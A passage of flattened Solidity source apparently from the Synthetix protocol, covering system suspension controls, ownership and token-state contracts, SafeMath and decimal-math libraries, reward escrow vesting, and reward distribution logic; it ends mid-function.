_requireAccessToResume(SECTION_SYSTEM);
systemSuspension.suspended = false;
emit SystemResumed(uint256(systemSuspension.reason));
systemSuspension.reason = 0;
}
function suspendIssuance(uint256 reason) external {
_requireAccessToSuspend(SECTION_ISSUANCE);
issuanceSuspension.suspended = true;
issuanceSuspension.reason = uint248(reason);
emit IssuanceSuspended(reason);
}
function resumeIssuance() external {
_requireAccessToResume(SECTION_ISSUANCE);
issuanceSuspension.suspended = false;
emit IssuanceResumed(uint256(issuanceSuspension.reason));
issuanceSuspension.reason = 0;
}
function suspendExchange(uint256 reason) external {
_requireAccessToSuspend(SECTION_EXCHANGE);
exchangeSuspension.suspended = true;
exchangeSuspension.reason = uint248(reason);
emit ExchangeSuspended(reason);
}
function resumeExchange() external {
_requireAccessToResume(SECTION_EXCHANGE);
exchangeSuspension.suspended = false;
emit ExchangeResumed(uint256(exchangeSuspension.reason));
exchangeSuspension.reason = 0;
}
function suspendSynthExchange(bytes32 currencyKey, uint256 reason) external {
bytes32[] memory currencyKeys = new bytes32[](1);
currencyKeys[0] = currencyKey;
_internalSuspendSynthExchange(currencyKeys, reason);
}
function suspendSynthsExchange(bytes32[] calldata currencyKeys, uint256 reason) external {
_internalSuspendSynthExchange(currencyKeys, reason);
}
function resumeSynthExchange(bytes32 currencyKey) external {
bytes32[] memory currencyKeys = new bytes32[](1);
currencyKeys[0] = currencyKey;
_internalResumeSynthsExchange(currencyKeys);
}
function resumeSynthsExchange(bytes32[] calldata currencyKeys) external {
_internalResumeSynthsExchange(currencyKeys);
}
function suspendSynth(bytes32 currencyKey, uint256 reason) external {
bytes32[] memory currencyKeys = new bytes32[](1);
currencyKeys[0] = currencyKey;
_internalSuspendSynths(currencyKeys, reason);
}
function suspendSynths(bytes32[] calldata currencyKeys, uint256 reason) external {
_internalSuspendSynths(currencyKeys, reason);
}
function resumeSynth(bytes32 currencyKey) external {
bytes32[] memory currencyKeys = new bytes32[](1);
currencyKeys[0] = currencyKey;
_internalResumeSynths(currencyKeys);
}
function resumeSynths(bytes32[] calldata currencyKeys) external {
_internalResumeSynths(currencyKeys);
}
/* ========== INTERNAL FUNCTIONS ========== */
function _requireAccessToSuspend(bytes32 section) internal view {
require(accessControl[section][msg.sender].canSuspend, "Restricted to access control list");
}
function _requireAccessToResume(bytes32 section) internal view {
require(accessControl[section][msg.sender].canResume, "Restricted to access control list");
}
function _internalRequireSystemActive() internal view {
require(
!systemSuspension.suspended,
systemSuspension.reason == SUSPENSION_REASON_UPGRADE
? "Synthetix is suspended, upgrade in progress... please stand by"
: "Synthetix is suspended. Operation prohibited"
);
}
function _internalRequireIssuanceActive() internal view {
require(!issuanceSuspension.suspended, "Issuance is suspended. Operation prohibited");
}
function _internalRequireExchangeActive() internal view {
require(!exchangeSuspension.suspended, "Exchange is suspended. Operation prohibited");
}
function _internalRequireSynthExchangeActive(bytes32 currencyKey) internal view {
require(!synthExchangeSuspension[currencyKey].suspended, "Synth exchange suspended. Operation prohibited");
}
function _internalRequireSynthActive(bytes32 currencyKey) internal view {
require(!synthSuspension[currencyKey].suspended, "Synth is suspended. Operation prohibited");
}
function _internalSuspendSynths(bytes32[] memory currencyKeys, uint256 reason) internal {
_requireAccessToSuspend(SECTION_SYNTH);
for (uint i = 0; i < currencyKeys.length; i++) {
bytes32 currencyKey = currencyKeys[i];
synthSuspension[currencyKey].suspended = true;
synthSuspension[currencyKey].reason = uint248(reason);
emit SynthSuspended(currencyKey, reason);
}
}
function _internalResumeSynths(bytes32[] memory currencyKeys) internal {
_requireAccessToResume(SECTION_SYNTH);
for (uint i = 0; i < currencyKeys.length; i++) {
bytes32 currencyKey = currencyKeys[i];
emit SynthResumed(currencyKey, uint256(synthSuspension[currencyKey].reason));
delete synthSuspension[currencyKey];
}
}
function _internalSuspendSynthExchange(bytes32[] memory currencyKeys, uint256 reason) internal {
_requireAccessToSuspend(SECTION_SYNTH_EXCHANGE);
for (uint i = 0; i < currencyKeys.length; i++) {
bytes32 currencyKey = currencyKeys[i];
synthExchangeSuspension[currencyKey].suspended = true;
synthExchangeSuspension[currencyKey].reason = uint248(reason);
emit SynthExchangeSuspended(currencyKey, reason);
}
}
function _internalResumeSynthsExchange(bytes32[] memory currencyKeys) internal {
_requireAccessToResume(SECTION_SYNTH_EXCHANGE);
for (uint i = 0; i < currencyKeys.length; i++) {
bytes32 currencyKey = currencyKeys[i];
emit SynthExchangeResumed(currencyKey, uint256(synthExchangeSuspension[currencyKey].reason));
delete synthExchangeSuspension[currencyKey];
}
}
function _internalUpdateAccessControl(
bytes32 section,
address account,
bool canSuspend,
bool canResume
) internal {
require(
section == SECTION_SYSTEM ||
section == SECTION_ISSUANCE ||
section == SECTION_EXCHANGE ||
section == SECTION_SYNTH_EXCHANGE ||
section == SECTION_SYNTH,
"Invalid section supplied"
);
accessControl[section][account].canSuspend = canSuspend;
accessControl[section][account].canResume = canResume;
emit AccessControlUpdated(section, account, canSuspend, canResume);
}
/* ========== EVENTS ========== */
event SystemSuspended(uint256 reason);
event SystemResumed(uint256 reason);
event IssuanceSuspended(uint256 reason);
event IssuanceResumed(uint256 reason);
event ExchangeSuspended(uint256 reason);
event ExchangeResumed(uint256 reason);
event SynthExchangeSuspended(bytes32 currencyKey, uint256 reason);
event SynthExchangeResumed(bytes32 currencyKey, uint256 reason);
event SynthSuspended(bytes32 currencyKey, uint256 reason);
event SynthResumed(bytes32 currencyKey, uint256 reason);
event AccessControlUpdated(bytes32 indexed section, address indexed account, bool canSuspend, bool canResume);
}
contract LegacyOwned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
owner = _owner;
}
function nominateOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner);
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract LegacyTokenState is LegacyOwned {
// the address of the contract that can modify balances and allowances
// this can only be changed by the owner of this contract
address public associatedContract;
// ERC20 fields.
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor(address _owner, address _associatedContract) public LegacyOwned(_owner) {
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
/* ========== SETTERS ========== */
// Change the associated contract to a new address
function setAssociatedContract(address _associatedContract) external onlyOwner {
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAllowance(
address tokenOwner,
address spender,
uint value
) external onlyAssociatedContract {
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value) external onlyAssociatedContract {
balanceOf[account] = value;
}
/* ========== MODIFIERS ========== */
modifier onlyAssociatedContract {
require(msg.sender == associatedContract);
_;
}
/* ========== EVENTS ========== */
event AssociatedContractUpdated(address _associatedContract);
}
// https://docs.synthetix.io/contracts/source/interfaces/irewardescrow
interface IRewardEscrow {
// Views
function balanceOf(address account) external view returns (uint);
function numVestingEntries(address account) external view returns (uint);
function totalEscrowedAccountBalance(address account) external view returns (uint);
function totalVestedAccountBalance(address account) external view returns (uint);
function getVestingScheduleEntry(address account, uint index) external view returns (uint[2] memory);
function getNextVestingIndex(address account) external view returns (uint);
// Mutative functions
function appendVestingEntry(address account, uint quantity) external;
function vest() external;
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.synthetix.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
/* Number of decimal places in the representations. */
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
/* The number representing 1.0. */
uint public constant UNIT = 10**uint(decimals);
/* The number representing 1.0 for higher fidelity numbers. */
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
/**
* @return Provides an interface to UNIT.
*/
function unit() external pure returns (uint) {
return UNIT;
}
/**
* @return Provides an interface to PRECISE_UNIT.
*/
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256. As this is an integer division,
* the internal division always rounds down. This helps save on gas. Rounding
* is more expensive on gas.
*/
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
return x.mul(y) / UNIT;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of the specified precision unit.
*
* @dev The operands should be in the form of a the specified unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function _multiplyDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a precise unit.
*
* @dev The operands should be in the precise unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a standard unit.
*
* @dev The operands should be in the standard unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is a high
* precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and UNIT must be less than 2**256. As
* this is an integer division, the result is always rounded down.
* This helps save on gas. Rounding is more expensive on gas.
*/
function divideDecimal(uint x, uint y) internal pure returns (uint) {
/* Reintroduce the UNIT factor that will be divided out by y. */
return x.mul(UNIT).div(y);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* decimal in the precision unit specified in the parameter.
*
* @dev y is divided after the product of x and the specified precision unit
* is evaluated, so the product of x and the specified precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function _divideDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* standard precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and the standard precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* high precision decimal.
*
* @dev y is divided after the product of x and the high precision unit
* is evaluated, so the product of x and the high precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @dev Convert a standard decimal representation to a high precision one.
*/
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
/**
* @dev Convert a high precision decimal to a standard decimal representation.
*/
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
}
// https://docs.synthetix.io/contracts/source/interfaces/ifeepool
interface IFeePool {
// Views
// solhint-disable-next-line func-name-mixedcase
function FEE_ADDRESS() external view returns (address);
function feesAvailable(address account) external view returns (uint, uint);
function feePeriodDuration() external view returns (uint);
function isFeesClaimable(address account) external view returns (bool);
function targetThreshold() external view returns (uint);
function totalFeesAvailable() external view returns (uint);
function totalRewardsAvailable() external view returns (uint);
// Mutative Functions
function claimFees() external returns (bool);
function claimOnBehalf(address claimingForAddress) external returns (bool);
function closeCurrentFeePeriod() external;
// Restricted: used internally to Synthetix
function appendAccountIssuanceRecord(
address account,
uint lockedAmount,
uint debtEntryIndex
) external;
function recordFeePaid(uint sUSDAmount) external;
function setRewardsToDistribute(uint amount) external;
}
interface IVirtualSynth {
// Views
function balanceOfUnderlying(address account) external view returns (uint);
function rate() external view returns (uint);
function readyToSettle() external view returns (bool);
function secsLeftInWaitingPeriod() external view returns (uint);
function settled() external view returns (bool);
function synth() external view returns (ISynth);
// Mutative functions
function settle(address account) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/isynthetix
interface ISynthetix {
// Views
function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableSynthCount() external view returns (uint);
function availableSynths(uint index) external view returns (ISynth);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint);
function isWaitingPeriod(bytes32 currencyKey) external view returns (bool);
function maxIssuableSynths(address issuer) external view returns (uint maxIssuable);
function remainingIssuableSynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function synths(bytes32 currencyKey) external view returns (ISynth);
function synthsByAddress(address synthAddress) external view returns (bytes32);
function totalIssuedSynths(bytes32 currencyKey) external view returns (uint);
function totalIssuedSynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint);
function transferableSynthetix(address account) external view returns (uint transferable);
// Mutative Functions
function burnSynths(uint amount) external;
function burnSynthsOnBehalf(address burnForAddress, uint amount) external;
function burnSynthsToTarget() external;
function burnSynthsToTargetOnBehalf(address burnForAddress) external;
function exchange(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeOnBehalf(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey
) external returns (uint amountReceived);
function exchangeWithTracking(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address rewardAddress,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeWithTrackingForInitiator(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address rewardAddress,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeOnBehalfWithTracking(
address exchangeForAddress,
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
address rewardAddress,
bytes32 trackingCode
) external returns (uint amountReceived);
function exchangeWithVirtual(
bytes32 sourceCurrencyKey,
uint sourceAmount,
bytes32 destinationCurrencyKey,
bytes32 trackingCode
) external returns (uint amountReceived, IVirtualSynth vSynth);
function issueMaxSynths() external;
function issueMaxSynthsOnBehalf(address issueForAddress) external;
function issueSynths(uint amount) external;
function issueSynthsOnBehalf(address issueForAddress, uint amount) external;
function mint() external returns (bool);
function settle(bytes32 currencyKey)
external
returns (
uint reclaimed,
uint refunded,
uint numEntries
);
// Liquidations
function liquidateDelinquentAccount(address account, uint susdAmount) external returns (bool);
// Restricted Functions
function mintSecondary(address account, uint amount) external;
function mintSecondaryRewards(uint amount) external;
function burnSecondary(address account, uint amount) external;
}
// Inheritance
// Libraries
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/rewardescrow
contract RewardEscrow is Owned, IRewardEscrow {
using SafeMath for uint;
/* The corresponding Synthetix contract. */
ISynthetix public synthetix;
IFeePool public feePool;
/* Lists of (timestamp, quantity) pairs per account, sorted in ascending time order.
* These are the times at which each given quantity of SNX vests. */
mapping(address => uint[2][]) public vestingSchedules;
/* An account's total escrowed synthetix balance to save recomputing this for fee extraction purposes. */
mapping(address => uint) public totalEscrowedAccountBalance;
/* An account's total vested reward synthetix. */
mapping(address => uint) public totalVestedAccountBalance;
/* The total remaining escrowed balance, for verifying the actual synthetix balance of this contract against. */
uint public totalEscrowedBalance;
uint internal constant TIME_INDEX = 0;
uint internal constant QUANTITY_INDEX = 1;
/* Limit vesting entries to disallow unbounded iteration over vesting schedules.
* There are 5 years of the supply schedule */
uint public constant MAX_VESTING_ENTRIES = 52 * 5;
/* ========== CONSTRUCTOR ========== */
constructor(
address _owner,
ISynthetix _synthetix,
IFeePool _feePool
) public Owned(_owner) {
synthetix = _synthetix;
feePool = _feePool;
}
/* ========== SETTERS ========== */
/**
* @notice set the synthetix contract address as we need to transfer SNX when the user vests
*/
function setSynthetix(ISynthetix _synthetix) external onlyOwner {
synthetix = _synthetix;
emit SynthetixUpdated(address(_synthetix));
}
/**
* @notice set the FeePool contract as it is the only authority to be able to call
* appendVestingEntry with the onlyFeePool modifer
*/
function setFeePool(IFeePool _feePool) external onlyOwner {
feePool = _feePool;
emit FeePoolUpdated(address(_feePool));
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice A simple alias to totalEscrowedAccountBalance: provides ERC20 balance integration.
*/
function balanceOf(address account) public view returns (uint) {
return totalEscrowedAccountBalance[account];
}
function _numVestingEntries(address account) internal view returns (uint) {
return vestingSchedules[account].length;
}
/**
* @notice The number of vesting dates in an account's schedule.
*/
function numVestingEntries(address account) external view returns (uint) {
return vestingSchedules[account].length;
}
/**
* @notice Get a particular schedule entry for an account.
* @return A pair of uints: (timestamp, synthetix quantity).
*/
function getVestingScheduleEntry(address account, uint index) public view returns (uint[2] memory) {
return vestingSchedules[account][index];
}
/**
* @notice Get the time at which a given schedule entry will vest.
*/
function getVestingTime(address account, uint index) public view returns (uint) {
return getVestingScheduleEntry(account, index)[TIME_INDEX];
}
/**
* @notice Get the quantity of SNX associated with a given schedule entry.
*/
function getVestingQuantity(address account, uint index) public view returns (uint) {
return getVestingScheduleEntry(account, index)[QUANTITY_INDEX];
}
/**
* @notice Obtain the index of the next schedule entry that will vest for a given user.
*/
function getNextVestingIndex(address account) public view returns (uint) {
uint len = _numVestingEntries(account);
for (uint i = 0; i < len; i++) {
if (getVestingTime(account, i) != 0) {
return i;
}
}
return len;
}
/**
* @notice Obtain the next schedule entry that will vest for a given user.
* @return A pair of uints: (timestamp, synthetix quantity). */
function getNextVestingEntry(address account) public view returns (uint[2] memory) {
uint index = getNextVestingIndex(account);
if (index == _numVestingEntries(account)) {
return [uint(0), 0];
}
return getVestingScheduleEntry(account, index);
}
/**
* @notice Obtain the time at which the next schedule entry will vest for a given user.
*/
function getNextVestingTime(address account) external view returns (uint) {
return getNextVestingEntry(account)[TIME_INDEX];
}
/**
* @notice Obtain the quantity which the next schedule entry will vest for a given user.
*/
function getNextVestingQuantity(address account) external view returns (uint) {
return getNextVestingEntry(account)[QUANTITY_INDEX];
}
/**
* @notice return the full vesting schedule entries vest for a given user.
* @dev For DApps to display the vesting schedule for the
* inflationary supply over 5 years. Solidity cant return variable length arrays
* so this is returning pairs of data. Vesting Time at [0] and quantity at [1] and so on
*/
function checkAccountSchedule(address account) public view returns (uint[520] memory) {
uint[520] memory _result;
uint schedules = _numVestingEntries(account);
for (uint i = 0; i < schedules; i++) {
uint[2] memory pair = getVestingScheduleEntry(account, i);
_result[i * 2] = pair[0];
_result[i * 2 + 1] = pair[1];
}
return _result;
}
/* ========== MUTATIVE FUNCTIONS ========== */
function _appendVestingEntry(address account, uint quantity) internal {
/* No empty or already-passed vesting entries allowed. */
require(quantity != 0, "Quantity cannot be zero");
/* There must be enough balance in the contract to provide for the vesting entry. */
totalEscrowedBalance = totalEscrowedBalance.add(quantity);
require(
totalEscrowedBalance <= IERC20(address(synthetix)).balanceOf(address(this)),
"Must be enough balance in the contract to provide for the vesting entry"
);
/* Disallow arbitrarily long vesting schedules in light of the gas limit. */
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
/* Escrow the tokens for 1 year. */
uint time = now + 52 weeks;
if (scheduleLength == 0) {
totalEscrowedAccountBalance[account] = quantity;
} else {
/* Disallow adding new vested SNX earlier than the last one.
* Since entries are only appended, this means that no vesting date can be repeated. */
require(
getVestingTime(account, scheduleLength - 1) < time,
"Cannot add new vested entries earlier than the last one"
);
totalEscrowedAccountBalance[account] = totalEscrowedAccountBalance[account].add(quantity);
}
vestingSchedules[account].push([time, quantity]);
emit VestingEntryCreated(account, now, quantity);
}
/**
* @notice Add a new vesting entry at a given time and quantity to an account's schedule.
* @dev A call to this should accompany a previous successful call to synthetix.transfer(rewardEscrow, amount),
* to ensure that when the funds are withdrawn, there is enough balance.
* Note; although this function could technically be used to produce unbounded
* arrays, it's only withinn the 4 year period of the weekly inflation schedule.
* @param account The account to append a new vesting entry to.
* @param quantity The quantity of SNX that will be escrowed.
*/
function appendVestingEntry(address account, uint quantity) external onlyFeePool {
_appendVestingEntry(account, quantity);
}
/**
* @notice Allow a user to withdraw any SNX in their schedule that have vested.
*/
function vest() external {
uint numEntries = _numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
/* The list is sorted; when we reach the first future time, bail out. */
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty > 0) {
vestingSchedules[msg.sender][i] = [0, 0];
total = total.add(qty);
}
}
if (total != 0) {
totalEscrowedBalance = totalEscrowedBalance.sub(total);
totalEscrowedAccountBalance[msg.sender] = totalEscrowedAccountBalance[msg.sender].sub(total);
totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].add(total);
IERC20(address(synthetix)).transfer(msg.sender, total);
emit Vested(msg.sender, now, total);
}
}
/* ========== MODIFIERS ========== */
modifier onlyFeePool() {
bool isFeePool = msg.sender == address(feePool);
require(isFeePool, "Only the FeePool contracts can perform this action");
_;
}
/* ========== EVENTS ========== */
event SynthetixUpdated(address newSynthetix);
event FeePoolUpdated(address newFeePool);
event Vested(address indexed beneficiary, uint time, uint value);
event VestingEntryCreated(address indexed beneficiary, uint time, uint value);
}
// https://docs.synthetix.io/contracts/source/interfaces/irewardsdistribution
interface IRewardsDistribution {
// Structs
struct DistributionData {
address destination;
uint amount;
}
// Views
function authority() external view returns (address);
function distributions(uint index) external view returns (address destination, uint amount); // DistributionData
function distributionsLength() external view returns (uint);
// Mutative Functions
function distributeRewards(uint amount) external returns (bool);
}
// Inheritance
// Libraires
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/rewardsdistribution
contract RewardsDistribution is Owned, IRewardsDistribution {
using SafeMath for uint;
using SafeDecimalMath for uint;
/**
* @notice Authorised address able to call distributeRewards
*/
address public authority;
/**
* @notice Address of the Synthetix ProxyERC20
*/
address public synthetixProxy;
/**
* @notice Address of the RewardEscrow contract
*/
address public rewardEscrow;
/**
* @notice Address of the FeePoolProxy
*/
address public feePoolProxy;
/**
* @notice An array of addresses and amounts to send
*/
DistributionData[] public distributions;
/**
* @dev _authority maybe the underlying synthetix contract.
* Remember to set the authority on a synthetix upgrade
*/
constructor(
address _owner,
address _authority,
address _synthetixProxy,
address _rewardEscrow,
address _feePoolProxy
) public Owned(_owner) {
authority = _authority;
synthetixProxy = _synthetixProxy;
rewardEscrow = _rewardEscrow;
feePoolProxy = _feePoolProxy;
}
// ========== EXTERNAL SETTERS ==========
function setSynthetixProxy(address _synthetixProxy) external onlyOwner {
synthetixProxy = _synthetixProxy;
}
function setRewardEscrow(address _rewardEscrow) external onlyOwner {
rewardEscrow = _rewardEscrow;
}
function setFeePoolProxy(address _feePoolProxy) external onlyOwner {
feePoolProxy = _feePoolProxy;
}
/**
* @notice Set the address of the contract authorised to call distributeRewards()
* @param _authority Address of the authorised calling contract.
*/
function setAuthority(address _authority) external onlyOwner {
authority = _authority;
}
// ========== EXTERNAL FUNCTIONS ==========
/**
* @notice Adds a Rewards DistributionData struct to the distributions
* array. Any entries here will be iterated and rewards distributed to
* each address when tokens are sent to this contract and distributeRewards()
* is called by the autority.
* @param destination An address to send rewards tokens too
* @param amount The amount of rewards tokens to send
*/
function addRewardDistribution(address destination, uint amount) external onlyOwner returns (bool) {
require(destination != address(0), "Cant add a zero address");
require(amount != 0, "Cant add a zero amount");
DistributionData memory rewardsDistribution = DistributionData(destination, amount);
distributions.push(rewardsDistribution);
emit RewardDistributionAdded(distributions.length - 1, destination, amount);
return true;
}
/**
* @notice Deletes a RewardDistribution from the distributions
* so it will no longer be included in the call to distributeRewards()
* @param index The index of the DistributionData to delete
*/
function removeRewardDistribution(uint index) external onlyOwner {
require(index <= distributions.length - 1, "index out of bounds");
// shift distributions indexes across
for (uint i = index; i < distributions.length - 1; i++) {
distributions[i] = distributions[i + 1];
}
distributions.length--;
// Since this function must shift all later entries down to fill the
// gap from the one it removed, it could in principle consume an
// unbounded amount of gas. However, the number of entries will
// presumably always be very low.
}
/**
* @notice Edits a RewardDistribution in the distributions array.
* @param index The index of the DistributionData to edit
* @param destination The destination address. Send the same address to keep or different address to change it.
* @param amount The amount of tokens to edit. Send the same number to keep or change the amount of tokens to send.
*/
function editRewardDistribution(
uint index,
address destination,
uint amount
) external onlyOwner returns (bool) {
require(index <= distributions.length - 1, "index out of bounds");
distributions[index].destination = destination;
distributions[index].amount = amount;
return true;
}
function distributeRewards(uint amount) external returns (bool) {
require(amount > 0, "Nothing to distribute");
require(msg.sender == authority, "Caller is not authorised");
require(rewardEscrow != address(0), "RewardEscrow is not set");
require(synthetixProxy != address(0), "SynthetixProxy is not set");
require(feePoolProxy != address(0), "FeePoolProxy is not set");
require(
IERC20(synthetixProxy).balanceOf(address(this)) >= amount,
"RewardsDistribution contract does not have enough tokens to distribute"
);
uint remainder = amount;
// Iterate the array of distributions sending the configured amounts
for (uint i = 0; i < distributions.length; i++) {
if (distributions[i].destination != address(0) || distributions[i].amount != 0) {
remainder = remainder.sub(distributions[i].amount);
// Transfer the SNX
IERC20(synthetixProxy).transfer(distributions[i].destination, distributions[i].amount);
// If the contract implements RewardsDistributionRecipient.sol, inform it how many SNX its received.
bytes memory payload = abi.encodeWithSignature("notifyRewardAmount(uint256)", distributions[i].amount);
// solhint-disable avoid-low-level-calls
(bool success, ) = distributions[i].destination.call(payload);
if (!success) {
// Note: we're ignoring the return value as it will fail for contracts that do not implement RewardsDistributionRecipient.sol
}
}
}
// After all ditributions have been sent, send the remainder to the RewardsEscrow contract
IERC20(synthetixProxy).transfer(rewardEscrow, remainder);
// Tell the FeePool how much it has to distribute to the stakers
